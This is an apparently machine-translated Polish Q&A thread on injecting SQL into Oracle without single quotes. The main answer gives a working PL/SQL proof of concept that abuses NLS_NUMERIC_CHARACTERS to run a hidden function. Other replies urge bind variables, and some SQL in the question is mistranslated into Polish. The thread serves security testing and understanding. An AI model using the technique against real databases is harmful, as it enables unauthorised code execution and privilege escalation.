Czy jest jakiś sposób na wyrwanie się z łańcucha i wstrzyknięcie SQL bez użycia pojedynczego cudzysłowu w oracle?

12

Testuję aplikację opartą na wyroczni i znalazłem następujący kod:

Zapytanie = "WYBIERZ imię i nazwisko pracowników, GDZIE id = '" + PKID + "';"

tzn. ciąg zapytania zawiera cudzysłowy wokół wartości PKID, która jest uzyskiwana bezpośrednio z adresu URL.

Oczywiście jest to klasyczny wstrzyknięcie SQL, które czeka ... z wyjątkiem aplikacji, która stoi za CA SiteMinder, który blokuje przesyłanie dowolnego adresu URL z pojedynczym cytatem (w dowolnej formie) do aplikacji.

Czy jest jakiś sposób na wyrwanie się z łańcucha i wstrzyknięcie SQL bez użycia pojedynczego cudzysłowu?

Edycja: Przepraszam, powinienem być jaśniejszy - rozumiem, jak powinien być napisany, ale muszę przekonać ludzi, że jest to problem nadający się do wykorzystania. W tej chwili jest za siteminder, który blokuje pojedyncze cudzysłowy, więc będzie to poprawka o niskim priorytecie.

jdsnape
źródło
1
próbowałeś użyć zmiennej powiązania?
JHFB
Co powiedział @JHFB. Wiązanie zmiennych jest standardową praktyką.
Philᵀᴹ

Odpowiedzi:

9

Tak, możliwe jest wykonanie iniekcji SQL bez podawania cudzysłowu w parametrze.

Można to zrobić wykorzystując exploit związany ze sposobem przetwarzania liczb i / lub dat. Na poziomie sesji można określić, jaki jest format daty lub liczby. Manipulując tym możesz nastrzyknąć dowolną postacią.

Domyślnie w Wielkiej Brytanii i USA przecinek jest używany do wskazania separatora tysięcy w liczbach i kropki po przecinku. Możesz zmienić te wartości domyślne, wykonując:

alter session set nls_numeric_characters = 'PZ';

Oznacza to, że „P” jest teraz kropką dziesiętną, a „Z” to separator tysięcy. Więc:

0P01

Jest liczbą 0,01. Jeśli jednak utworzysz funkcję P01, odniesienie do obiektu zostanie odczytane przed konwersją liczb. Pozwala to na wykonywanie funkcji w bazie danych, zwiększając uprawnienia w następujący sposób:

Utwórz podstawową funkcję „get by id”:

create procedure get_obj ( i in number ) as
begin
  execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/

Utwórz także funkcję P01, która robi coś niepożądanego (w tym przypadku po prostu tworzy tabelę, ale masz pomysł):

create function p01 return number as
  pragma autonomous_transaction;
begin
  execute immediate 'create table t (x integer)';
  return 1;
end;
/

I możemy iść:

alter session set nls_numeric_characters = 'PZ';

SELECT * FROM t;

SQL Error: ORA-00942: table or view does not exist

exec get_obj(p01);

anonymous block completed

SELECT * FROM t;

no rows selected

Nigdzie nie ma cytatów, ale nadal udało nam się uruchomić funkcję „ukrytego” P01 i utworzyć tabelę t!

Chociaż może to być trudne w praktyce (i może wymagać wewnętrznej wiedzy / pomocy), pokazuje to, że można wstrzykiwać SQL bez konieczności podawania cudzysłowów. Zmiana nls_date_formatmoże pozwolić na podobne działania.

Oryginalne ustalenia dotyczące liczb pochodzą od Davida Litchfielda. Możesz przeczytać jego artykuł tutaj . Dyskusję Toma Kyte'a na temat wykorzystania dat można znaleźć tutaj .

Chris Saxon
źródło
4

Prawdopodobnie możesz przeciążyć używany typ danych, co spowoduje, że instrukcja się nie powiedzie. To, co nastąpi później, może zostać uruchomione.

Może wysłanie go jako tablicy bajtów Unicode załatwi sprawę i przeniesie cię z tej instrukcji do innej.

Jeśli jest dziura otwarta, będzie nadużywana. A blokowanie wszystkich ciągów za pomocą jednego cytatu nie jest dobrym pomysłem, ponieważ ludzie o nazwisku „O'Brian” nie mogą być Twoimi klientami (między innymi).

mrdenny
źródło
Chyba masz na myśli „dziurę”, a nie „całość”.
ypercubeᵀᴹ
1

Spróbuj użyć zmiennej powiązania. Możesz zadeklarować go jako liczbę, co powinno zapobiec szkodliwemu wstrzyknięciu SQL.

DODATEK: zmienne wiązania również zwiększają wydajność i skalowalność, ponieważ plan zapytań jest kompilowany i przechowywany do ponownego użycia. Po prostu coś innego do dodania do argumentu. :)

JHFB
źródło
1
Nie pyta o sposoby zapobiegania zastrzykowi, ale o sposoby nadużywania go.
Jeff
1
@jeff OP prosi również o powody, aby nie używać tego rodzaju kodu. Nieużywanie zmiennych wiązania niszczy wydajność, więc jest to dobry powód, aby zawsze ich używać.
Vincent Malgrat
@Vincent Malgrat: „Nieużywanie zmiennych wiązania niszczy wydajność” jest błędem. Prawdą jest, że można uniknąć ponownej kompilacji instrukcji, używając zmiennych wiązania. Również wspólna pula zostanie zalana przez wiele podobnych instrukcji, jeśli nie użyjesz zmiennych bind. Niemniej optymalizator ma mniej informacji na temat budowania planu, jeśli używa się zmiennych wiązania zamiast wartości literalnych. Istnieją sytuacje, w których należy wybrać różne plany w zależności od wartości zmiennych powiązania (lub wartości literalnych).
miracle173
@ miracle173 Oczywiście będą wyjątki, ale nie dla wyszukiwania klucza podstawowego podanego przez OP, nigdy =)
Vincent Malgrat